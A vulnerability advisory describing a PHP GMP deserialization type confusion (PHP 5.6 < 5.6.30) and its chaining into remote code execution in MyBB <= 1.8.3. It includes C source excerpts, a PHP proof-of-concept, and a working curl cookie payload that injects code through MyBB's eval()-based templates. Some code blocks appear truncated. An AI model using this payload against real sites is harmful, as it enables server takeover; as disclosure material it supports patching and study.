#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability] Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20 > A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues. Affected Versions ------------ Affected is PHP 5.6 < 5.6.30 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ gmp.c ``` static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); } ``` zend_object_handlers.c ``` ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; } ``` It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues. The following codes will prove this vulnerability: ``` ryat = 1; } } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); var_dump($obj); ?> ``` Expected result: ``` object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } ``` Actual result: ``` object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } } ``` **i) How to exploited this bug in real world?** When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object(): ``` static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */ { mpz_ptr gmpnum; switch (type) { ... case IS_LONG: gmpnum = GET_GMP_FROM_ZVAL(readobj); INIT_PZVAL(writeobj); ZVAL_LONG(writeobj, mpz_get_si(gmpnum)); return SUCCESS; ``` The following codes will prove this exploite way: ``` ``` Of course, a crafted __wakeup() can also be exploited, ex: ``` ryat = (int) $this->ryat; } ?> ``` **ii) Can be exploited this bug in real app?** Exploited the bug in MyBB: index.php ``` if(isset($mybb->cookies['mybb']['forumread'])) { $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']); } ``` MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-) **P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.** Proof of Concept Exploit ------------ **MyBB <= 1.8.3 RCE vulnerability** index.php ``` eval('$index = "'.$templates->get('index').'";'); ``` MyBB always use eval() function in during template parsing. inc/class_templates.php ``` class templates { ... public $cache = array(); ... function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; ... $template = $this->cache[$title]; ... return $template; } ``` If we can control the `$cache`, we will be albe to inject PHP code via eval() function. inc/init.php ``` $error_handler = new errorHandler(); ... $maintimer = new timer(); ... $mybb = new MyBB; ... switch($config['database']['type']) { case "sqlite": $db = new DB_SQLite; break; case "pgsql": $db = new DB_PgSQL; break; case "mysqli": $db = new DB_MySQLi; break; default: $db = new DB_MySQL; } ... $templates = new templates; ``` The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function. When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line: ``` curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/ ```